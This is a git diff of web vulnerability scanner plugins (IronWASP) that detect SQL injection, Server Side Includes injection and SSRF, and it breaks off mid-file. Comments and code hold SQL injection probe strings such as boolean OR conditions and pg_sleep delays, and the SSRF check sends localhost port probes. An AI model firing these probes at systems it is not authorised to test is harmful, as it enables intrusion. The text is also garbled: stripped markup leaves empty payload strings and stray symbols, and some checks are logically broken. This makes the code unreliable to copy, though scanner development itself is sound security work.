self.Scnr.RequestTrace(" Request Key: '{0}' - Injecting {1}".format(keys[i], payload)) + res = self.Scnr.Inject(payload) + payloads.append(payload) + conditions.append(trailers[i].replace("", quote)) + requests.append(self.Scnr.InjectedRequest.GetClone()) + responses.append(res) + sc.Add(keys[i], res) + self.Scnr.ResponseTrace(" ==> Code-{0} Length-{1}".format(res.Code, res.BodyLength)) + + sc.Check() + + self.Scnr.Trace("> The responses are analyzed for similarity based grouping to determine if injection succeeded.") + self.Scnr.Trace(" Analysis Results:") + self.Scnr.Trace(" Strict Groups Signature: {0}".format(sc.StrictGroupsSignature)) + self.Scnr.Trace(" Relaxed Groups Signature: {0}".format(sc.RelaxedGroupsSignature)) + + if j == 0: + first_strict_signature = sc.StrictGroupsSignature + first_relaxed_signature = sc.RelaxedGroupsSignature + + if self.IsBlindBoolInjectableGroupingCheck(sc.StrictGroups): + self.Scnr.Trace(" >Strict Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_strict_vuln = True + else: + self.Scnr.Trace(" Strict Grouping does not indicates that injection succeeded.") + + if self.IsBlindBoolInjectableGroupingCheck(sc.RelaxedGroups): + self.Scnr.Trace(" >Relaxed Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_relaxed_vuln = True + else: + self.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded.") + else: + second_strict_signature = sc.StrictGroupsSignature + second_relaxed_signature = sc.RelaxedGroupsSignature + vuln = False + + if first_strict_vuln and first_strict_signature == second_strict_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Strict Grouping does not indicate that injection succeeded.") + + if first_relaxed_vuln and first_relaxed_signature == second_relaxed_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Relaxed Grouping does not indicate that injection succeeded.") + + if vuln: + self.RequestTriggers.extend(payloads) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + for i in range(len(payloads)): + self.ResponseTriggers.append("") + if i == 0 or i == 2: + self.RequestTriggerDescs.append("The payload in this request contains the conditional operator '{0}' followed by the SQL condition {1} which evaluates to true. The payload is {2}".format(operator, conditions[i], payloads[i])) + else: + self.RequestTriggerDescs.append("The payload in this request contains the conditional operator '{0}' followed by the SQL condition {1} which evaluates to false. The payload is {2}".format(operator, conditions[i], payloads[i])) + self.ResponseTriggerDescs.append("This response is the result of the first boolean true condition based payload. This response is equal to the response of the second boolean true condition payload and different from the responses of the boolean false condition payloads.") + self.ResponseTriggerDescs.append("This response is the result of the first boolean false condition based payload. This response is equal to the response of the second boolean false condition payload and different from the responses of the boolean true condition payloads.") + self.ResponseTriggerDescs.append("This response is the result of the second boolean true condition based payload. This response is equal to the response of the first boolean true condition payload and different from the responses of the boolean false condition payloads.") + self.ResponseTriggerDescs.append("This response is the result of the second boolean false condition based payload. This response is equal to the response of the first boolean false condition payload and different from the responses of the boolean true condition payloads.") + self.TriggerCount = self.TriggerCount + 4 + reason = self.GetBlindBoolReason(payloads, operator, self.TriggerCount) + self.reasons.append(reason) + return confidence + return 0 + + def IsBlindBoolInjectableGroupingCheck(self, groups): + match = 0 + if len(groups) == 2: + for group in groups: + if group.Count == 2: + match = 0 + if group.HasKey("true-a") and group.HasKey("true-b"): + match = 1 + elif group.HasKey("false-a") and group.HasKey("false-b"): + match = 1 + + if match > 0: + return True + else: + return False + + def CheckBlindTime(self): + score = 0 + self.Scnr.Trace(">>Checking for Time based Injection:>") + self.Scnr.Trace("> Sending three requests to get a baseline of the response time for time based check:") + min_delay = -1 + max_delay = 0 + time = 10000 + base_line_delays = [] + avg_time = 0 + for i in range(3): + res = self.Scnr.Inject() + avg_time = avg_time + res.RoundTrip + base_line_delays.append(" {0}) Response time is - {1} ms".format(i+1, res.RoundTrip)) + if res.RoundTrip > max_delay: + max_delay = res.RoundTrip + if res.RoundTrip < min_delay or min_delay == -1: + min_delay = res.RoundTrip + self.Scnr.Trace(">".join(base_line_delays)) + avg_time = avg_time/3 + + if min_delay > 5000: + time = ((max_delay + min_delay) / 1000) + 1 + else: + time = ((max_delay + 5000) / 1000) + 1 + + self.Scnr.Trace("> Response Times: Minimum - {0}ms. Maximum - {1}ms.".format(min_delay, max_delay)) + self.Scnr.Trace("> >Testing with delay time of {0}ms.>".format(time * 1000)) + for inj_str in self.time_check: + payload = inj_str.replace("__TIME__", str(time)) + score = score + self.InjectAndCheckBlindDelay(payload, time, avg_time) + + return score + + def InjectAndCheckBlindDelay(self, payload, time, avg_time): + for i in range(2): + self.Scnr.RequestTrace(" Injecting {0}".format(payload)) + res = self.Scnr.Inject(payload) + res_trace = " ==> Code-{0} Length-{1} Time-{2}ms.".format(res.Code, res.BodyLength, res.RoundTrip) + if i == 0: + if res.RoundTrip >= (time * 1000): + self.Scnr.ResponseTrace("{0} >Delay Observed! Rechecking the result with the same Injection string>".format(res_trace)) + else: + self.Scnr.ResponseTrace("{0} No Time Delay.".format(res_trace)) + break + elif i == 1: + if res.RoundTrip >= (time * 1000): + self.Scnr.ResponseTrace("{0} >>Delay Observed Again! Indicates Presence of SQL Injection>".format(res_trace)) + + self.RequestTriggers.append(payload) + self.RequestTriggerDescs.append("The payload in this request contains a SQL query snippet which if executed will cause a delay of {0} milliseconds. The payload is {1}".format(time * 1000, payload)) + self.TriggerRequests.append(self.Scnr.InjectedRequest.GetClone()) + + self.ResponseTriggers.append("") + self.ResponseTriggerDescs.append("It took {0} milliseconds to get this response. It took so long because of the {1} milliseconds delay caused by the payload.".format(res.RoundTrip, time * 1000)) + self.TriggerResponses.append(res) + + self.TriggerCount = self.TriggerCount + 1 + reason = self.GetBlindTimeReason(payload, time * 1000, res.RoundTrip, avg_time, self.TriggerCount) + self.reasons.append(reason) + #self.ReportSQLInjection() + return 1 + else: + self.Scnr.ResponseTrace("{0} >Time Delay did not occur again!>".format(res_trace)) + + return 0 + + def ReportSQLInjection(self, Confidence): + self.Scnr.SetTraceTitle("SQLi Found", 100) + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "SQL Injection Detected" + PR.Summary = "SQL Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + PR.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + PR.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + PR.Type = FindingType.Vulnerability + PR.Severity = FindingSeverity.High + PR.Confidence = Confidence + self.Scnr.AddFinding(PR) + + def ReportSQLError(self, Errors): + self.Scnr.SetTraceTitle("SQL Error Messages Found", 100) + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "SQL Error Messages Found" + Summary = "SQL Error Messages have been found in the response when testing the '{0}' parameter of the {1} section of the request. All checks performed to returned negative results so the reason why these error messages appear cannot be determined.>".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + Summary = Summary + "The error messages are:>" + for Error in Errors: + Summary = Summary + ">{0}>>".format(Error) + PR.Summary = Summary + if len(self.RequestTriggers) > 0: + PR.Triggers.Add("", "", self.TriggerRequests[0], "\r\n".join(Errors), "The response contained {0} SQL error messages".format(len(Errors)), self.TriggerResponses[0]) + PR.Type = FindingType.Vulnerability + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.High + self.Scnr.AddFinding(PR) + + def SetUp(self): + err_regex_file = open(Config.Path + "\\plugins\\active\\sql_error_regex.txt") + err_regex_file.readline()#Ignore the first line containing comments + error_strings = err_regex_file.readlines() + err_regex_file.close() + for err_str in error_strings: + err_str = err_str.strip() + if len(err_str) > 0: + self.error_regex_raw.append(err_str) + self.error_regex.append(re.compile(err_str, re.I)) + time_check_file = open(Config.Path + "\\plugins\\active\\sql_time_check.txt") + time_check_file.readline()#Ignore the first line containing comments + time_check_temp = time_check_file.readlines() + time_check_file.close() + for tct in time_check_temp: + tct = tct.strip() + if len(tct) > 0: + self.time_check.append(tct) + + def GetSummary(self): + Summary = "SQL Injection is an issue where it is possible execute SQL queries on the database being used on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/SQL_Injection>>>" + return Summary + + def GetErrorReason(self, payload, errors, Trigger): + payload = Tools.EncodeForTrace(payload) + + #Reason = "IronWASP sent 'abcd as payload to the application and the response that came back had the error message Incorrect SQL syntax. " + Reason = "IronWASP sent >{0}> as payload to the application and the response that came back ".format(payload) + + if len(errors) == 1: + Reason = Reason + "had the error message >{0}>. ".format(errors[0]) + else: + Reason = Reason + "had the error messages " + for i in range(len(errors)): + if i == (len(errors) - 1): + Reason = Reason + " and " + elif i > 0: + Reason = Reason + " , " + Reason = Reason + ">{0}>".format(errors[i]) + Reason = Reason + "." + + Reason = Reason + "This error message is usually associated with SQL query related errors and it appears that the payload was able to break out of the data context and cause this error. " + Reason = Reason + "This is an indication of SQL Injection." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the response received for the payload and confirm if the error message actually is because of some SQL related exception on the server-side. Try sending the same request without the payload and check if the error goes away." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + def GetBlindMathAddReason(self, payloads, first_sum, second_sum, first_group, second_group, Trigger): + Reason = "IronWASP sent six payload to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C", "D", "E", "F"] + + #Payload A - 4+1 + #Payload B - 3+2 + #Payload C - 4+5 + #Payload D - 3+6 + #Payload E - 4+a + #Payload F - 4+b + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + #Reason = Reason + "Payload A and B is the addition of two numbers whose sum 5. " + Reason = Reason + "Payload A and B is the addition of two numbers whose sum would be >{0}>. ".format(first_sum) + #Reason = Reason + "Payload C and D is also the addition of two numbers whose sum would be 9. " + Reason = Reason + "Payload C and D is also the addition of two numbers whose sum would be >{0}>. ".format(second_sum) + Reason = Reason + "Payload E and F are invalid addition attempts as a number is being added to a string.>" + + if len(first_group) == 2: + Reason = Reason + "The response for Payload A and B is similar to each other and is different from Payloads C, D, E and F. " + Reason = Reason + "This indicates that the application actually performed the addition of the two numbers in the Payload A and B. " + Reason = Reason + "Since they add up to the same value their responses are similar. Payloads C and D add up to different values. " + Reason = Reason + "Payload E and F are invalid addition attempts. If the application was not actually performing addition then all six payload should have returned very similar responses. " + else: + Reason = Reason + "The response for Payload A, B, C and D are similar to each other and is different from Payloads E and F. " + Reason = Reason + "This indicates that the application actually performed the addition of the two numbers in the Payload A, B, C and D. " + Reason = Reason + "Since in all four cases the addition is a valid SQL syntax their responses are similar. " + Reason = Reason + "Payload E and F are invalid addition attempts so their responses are different. If the application was not actually performing addition then all six payloads should have returned very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "MathAdd" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the six payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with different numbers and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-5, Trigger-4, Trigger-3, Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindMathSubtractReason(self, payloads, first_diff, second_diff, first_group, second_group, Trigger): + Reason = "IronWASP sent six payload to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C", "D", "E", "F"] + + #Payload A - 4-1 + #Payload B - 5-2 + #Payload C - 7-5 + #Payload D - 8-6 + #Payload E - 4-a + #Payload F - 4-b + + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + #Reason = Reason + "Payload A and B is the subtraction of two numbers whose difference is 3. " + Reason = Reason + "Payload A and B is the subtraction of two numbers whose difference is >{0}>. ".format(first_diff) + #Reason = Reason + "Payload C and D is also the subtraction of two numbers whose difference would be 2. " + Reason = Reason + "Payload C and D is also the subtraction of two numbers whose difference would be >{0}>. ".format(second_diff) + Reason = Reason + "Payload E and F are invalid subtraction attempts as a string is being deducted from a number.>" + + if len(first_group) == 2: + Reason = Reason + "The response for Payload A and B is similar to each other and is different from Payloads C, D, E and F. " + Reason = Reason + "This indicates that the application actually performed the subtraction of the two numbers in the Payload A and B. " + Reason = Reason + "Since their differnce is the same their responses are similar. Payloads C and D have a different difference values. " + Reason = Reason + "Payload E and F are invalid subtraction attempts. If the application was not actually performing subtraction then all six payload should have returned very similar responses. " + else: + Reason = Reason + "The response for Payload A, B, C and D are similar to each other and is different from Payloads E and F. " + Reason = Reason + "This indicates that the application actually performed the subtraction of the two numbers in the Payload A, B, C and D. " + Reason = Reason + "Since in all four cases the substration is a valid SQL syntax their responses are similar. " + Reason = Reason + "Payload E and F are invalid subtraction attempts so their responses are different. If the application was not actually performing subtraction then all six payloads should have returned very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "MathSubtract" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the six payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with different numbers and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-5, Trigger-4, Trigger-3, Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindConcatReason(self, payloads, db, Trigger): + Reason = "IronWASP sent three payloads to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C"] + + #Payload A - a'||'b + #Payload B - a'+'b + #Payload C - a' 'b + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + Reason = Reason + "Payload A is trying to concatenate two strings as per the SQL syntax of Oracle database servers. " + Reason = Reason + "Payload B is trying to concatenate the same two strings as per SQL syntax of MS SQL database servers. " + Reason = Reason + "Payload C is trying to concatenate the same two strings as per the SQL syntax of MySQL database servers.>" + + same = [] + diff = "" + + #keys = [ "Oracle", "MS SQL", "MySQL"] + + if db == "Oracle": + diff = "A" + same = ["B", "C"] + elif db == "MS SQL": + diff = "B" + same = ["A", "C"] + elif db == "MySQL": + diff = "C" + same = ["A", "B"] + else: + return "" + + #Reason = Reason + "The response for Payload A and B were similar to each other and is different from the response recieved for Payloads C. " + Reason = Reason + "The response for Payload {0} and {1} were similar to each other and is different from the response received for Payloads {2}. ".format(same[0], same[1], diff) + #Reason = Reason + "This indicates that the application was actually trying to perform the string concatenation on the server-side and that the backend database in use is MySQL. " + Reason = Reason + "This indicates that the application was actually trying to perform the string concatenation on the server-side and that the backend database in use is >{0}>. ".format(db) + #Reason = Reason + "Since incase of MySQL Payloads A & B would have simply thrown an invalid SQL syntax exception their responses are similar. " + Reason = Reason + "Since incase of >{0}> database server Payloads {0} & {1} would have simply thrown an invalid SQL syntax exception their responses are similar. ".format(db, same[0], same[1]) + #Reason = Reason + "And Payload C would have executed without this error and so its response was different than the other two.>" + Reason = Reason + "And Payload {0} would have executed without this error and so its response was different than the other two.>".format(diff) + + Reason = Reason + "If the application was not actually performing the concatenation then all three payload should have received very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "Concat" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the three payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with different strings and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindBoolReason(self, payloads, bool_cond, Trigger): + bool_cond = bool_cond.upper() + + Reason = "IronWASP sent four payloads to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C", "D"] + #Payload A - a' or 8=8-- + #Payload B - a' or 7=5-- + #Payload C - a' or 6=6-- + #Payload D - a' or 4=6-- + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + #Reason = Reason + "Payload A and C have a boolean condition after the OR keyword that will evaluate to true. The boolean condition in Payload B and D would evaluate to false.".format(payload) + Reason = Reason + "Payload A and C have a boolean condition after the >{0}> keyword that will evaluate to true. ".format(bool_cond) + Reason = Reason + "The boolean condition in Payload B and D would evaluate to false.>" + + Reason = Reason + "The response for Payload A and C were similar to each other and were different from the response received for Payload B and D. " + Reason = Reason + "This indicates that the application was actually evaluating the boolean condition in the payloads. " + Reason = Reason + "So since Payload A and C both has a true boolean condition their responses are similar, C and D had a false boolean condition.>" + + Reason = Reason + "If the application was not actually evaluating the boolean condition then all four payload should have returned very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "Bool" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the four payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with values in the boolean expression and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-3, Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindTimeReason(self, payload, delay_time, res_time, normal_time, Trigger): + payload = Tools.EncodeForTrace(payload) + + #Reason = "IronWASP sent ' and pg_sleep(5)-- as payload to the application. " + Reason = "IronWASP sent >{0}> as payload to the application. ".format(payload) + #Reason = Reason + "This payload has a small snippet of SQL code that will cause the database server to sleep for 5000 milliseconds. " + Reason = Reason + "This payload has a small snippet of SQL code that will cause the database server to sleep for >{0}> milliseconds. ".format(delay_time) + #Reason = Reason + "If this code is executed then the application will return the response 5000 milliseconds later than usual. " + Reason = Reason + "If this code is executed then the application will return the response >{0}> milliseconds later than usual. ".format(delay_time) + #Reason = Reason + "After the payload was injected the response from the application took 6783 milliseconds. " + Reason = Reason + "After the payload was injected the response from the application took >{0}> milliseconds. ".format(res_time) + #Reason = Reason + "Normally this particular request is processed at around 463 milliseconds. " + Reason = Reason + "Normally this particular request is processed at around >{0}> milliseconds. ".format(normal_time) + Reason = Reason + "This indicates that the injected SQL code snippet could have been executed on the server-side." + + ReasonType = "TimeDelay" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the number of seconds of delay to different values. Then you can observe if the time taken for the response to be returned is affected accordingly." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + +p = SQLInjection() +p.SetUp() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/ServerSideIncludesInjection.py b/plugins/active/ServerSideIncludesInjection.py new file mode 100644 index 0000000..a3a722d --- /dev/null +++ b/plugins/active/ServerSideIncludesInjection.py @@ -0,0 +1,71 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +import re + + +class ServerSideIncludesInjection(ActivePlugin): + + + def GetInstance(self): + p = ServerSideIncludesInjection() + p.Name = 'Server Side Includes Injection' + p.Description = 'An Active Plugin to detect Sever Side Include Injection vulnerabilities' + p.Version = '0.1' + return p + + + def Check(self, scnr): + #Check logic based on https://github.com/fnordbg/SSI-Scan + self.scnr = scnr + self.scnr.Trace(">>Checking for Server Side Includes Injection:>>>") + payloads = ["{0}\"'>".format(self.scnr.PreInjectionParameterValue), "\"'>", ""] + for payload in payloads: + self.scnr.RequestTrace("Injected - " + payload) + res = self.scnr.Inject(payload) + if "REMOTE_ADDR" and "DATE_LOCAL" and "DATE_GMT" and "DOCUMENT_URI" and "LAST_MODIFIED" in res.BodyString: + self.scnr.ResponseTrace(" ==> > Got contents of Environment variables in the response body. Indicates SSI Injection.>") + self.reason = self.GetReason(payload, ["REMOTE_ADDR", "DATE_LOCAL", "DATE_GMT", "DOCUMENT_URI", "LAST_MODIFIED"]) + self.ReportSSI(payload, "The payload in this request contains a SSI snippet which if executed will print the contents of the environment variables. The payload is: {0}".format(payload), "\r\n".join(["REMOTE_ADDR", "DATE_LOCAL", "DATE_GMT", "DOCUMENT_URI", "LAST_MODIFIED"]), "This response contains some keywords that are similar to some standard environment variable names.") + return + else: + self.scnr.ResponseTrace(" ==> The response does not contain any Environment variable information.") + self.scnr.Trace(">No indication for presence of SSI Injection") + + + def ReportSSI(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("Server Side Includes Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Server Side Includes Injection Found" + pr.Summary = "Server Side Includes Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Server Side Includes Injection is an issue where it is possible to code on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection>>>" + return Summary + + def GetReason(self, payload, keywords): + payload = Tools.EncodeForTrace(payload) + Reason = "IronWASP sent >{0}> as payload to the application, this payload would display the environment variables to be printed in the response if the application is vulnerable to Server Side Includes Injection.".format(payload) + Reason = Reason + "The response from the application for this payload had some keywords that are similar to the names of environment variables. These keywords were:" + for keyword in keywords: + Reason = Reason + ">>{0}>".format(keyword) + Reason = Reason + ">These words are similar to that of standard environment variable names, therefore this issue has been reported." + + ReasonType = "Echo" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the response received for the payload and confirm if it actually contains the environment variable details. Change the printenv command to some other SSI command and see if the response contains that command's output." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + +p = ServerSideIncludesInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/ServerSideRequestForgery.py b/plugins/active/ServerSideRequestForgery.py new file mode 100644 index 0000000..b1c8e63 --- /dev/null +++ b/plugins/active/ServerSideRequestForgery.py @@ -0,0 +1,262 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +import re + + +#Extend the ActivePlugin base class +class ServerSideRequestForgery(ActivePlugin): + + #Implement the GetInstance method of ActivePlugin class. This method is used to create new instances of this plugin. + def GetInstance(self): + p = ServerSideRequestForgery() + p.Name = 'Server Side Request Forgery' + p.Description = 'A plugin to discover SSRF vulnerabilities' + p.Version = '0.1' + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.base_res = self.scnr.BaseResponse + self.confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForSSRF() + self.AnalyzeTestResult() + + def CheckForSSRF(self): + self.scnr.Trace(">>Checking for Server Side Request Forgery:>") + self.scnr.Trace(">Normal Response Code - {0}. Length -{0}".format(self.base_res.Code, self.base_res.BodyLength)) + p = "" + first_time_pattern = "" + second_time_pattern = "" + strict_group_matched = False + relaxed_group_matched = False + + if self.scnr.PreInjectionParameterValue.startswith("http://"): + p = "http://" + elif self.scnr.PreInjectionParameterValue.startswith("https://"): + p = "https://" + else: + p = "" + + for i in range(2): + payload_a = "{0}localhost:65555".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a)) + res_a = self.scnr.Inject(payload_a) + req_a = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a.Code, res_a.BodyLength)) + + payload_a1 = "{0}localhost:1".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a1)) + res_a1 = self.scnr.Inject(payload_a1) + req_a1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a1.Code, res_a1.BodyLength)) + + payload_b = "{0}localhost:66666".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b)) + res_b = self.scnr.Inject(payload_b) + req_b = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b.Code, res_b.BodyLength)) + + payload_b1 = "{0}localhost:2".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b1)) + res_b1 = self.scnr.Inject(payload_b1) + req_b1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b1.Code, res_b1.BodyLength)) + + self.scnr.Trace(">Analysing the responses for patterns...") + + #Analyzing the responses for patterns + sc = SimilarityChecker() + sc.Add("a", res_a, payload_a) + sc.Add("a1", res_a1, payload_a1) + sc.Add("b", res_b, payload_b) + sc.Add("b1", res_b1, payload_b1) + sc.Check() + + requests = [req_a, req_a1, req_b, req_b1] + responses = [res_a, res_a1, res_b, res_b1] + request_trigger_descs = [] + request_trigger_descs.append("This payload points to the invalid port 65555 on localhost. The payload is {0}".format(payload_a)) + request_trigger_descs.append("This payload points to the valid port 1 on localhost. The payload is {0}".format(payload_a1)) + request_trigger_descs.append("This payload points to the invalid port 66666 on localhost. The payload is {0}".format(payload_b)) + request_trigger_descs.append("This payload points to the valid port 2 on localhost. The payload is {0}".format(payload_b1)) + response_trigger_descs = [] + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger before the previous.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger before the previous.") + request_triggers = [payload_a, payload_a1, payload_b, payload_b1] + response_triggers = ["","","",""] + + if i == 0: + for group in sc.StrictGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for invalid port based payloads are similar to each other and are different from responses for valid port based payloads. Indicates presence of SSRF.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], False, [], self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + strict_group_matched = True + + if not strict_group_matched: + for group in sc.RelaxedGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for invalid port based payloads are similar to each other and are different responses for valid port based payload. Indicates presence of SSRF.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], False, [], self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + relaxed_group_matched = True + + res_times = [res_a.RoundTrip, res_a1.RoundTrip, res_b.RoundTrip, res_b1.RoundTrip] + res_times.sort() + if (res_times[2] - res_times[0] > 200) and (res_times[3] - res_times[0] > 200) and (res_times[2] - res_times[1] > 200) and (res_times[3] - res_times[1] > 200) and ((res_times[1] - res_times[0]) < 200) and ((res_times[3] - res_times[2]) < 200): + + if (res_a.RoundTrip == res_times[0] and res_b.RoundTrip == res_times[1]) or (res_a.RoundTrip == res_times[1] and res_b.RoundTrip == res_times[0]): + if i == 0: + first_time_pattern = "Valid>Invalid" + else: + second_time_pattern = "Valid>Invalid" + elif (res_a1.RoundTrip == res_times[0] and res_b1.RoundTrip == res_times[1]) or (res_a1.RoundTrip == res_times[1] and res_b1.RoundTrip == res_times[0]): + if i == 0: + first_time_pattern = "Invalid>Valid" + else: + second_time_pattern = "Invalid>Valid" + + if len(first_time_pattern) > 0: + if i == 0: + self.scnr.Trace(">There is a pattern in the roundtrip time of the four responses. 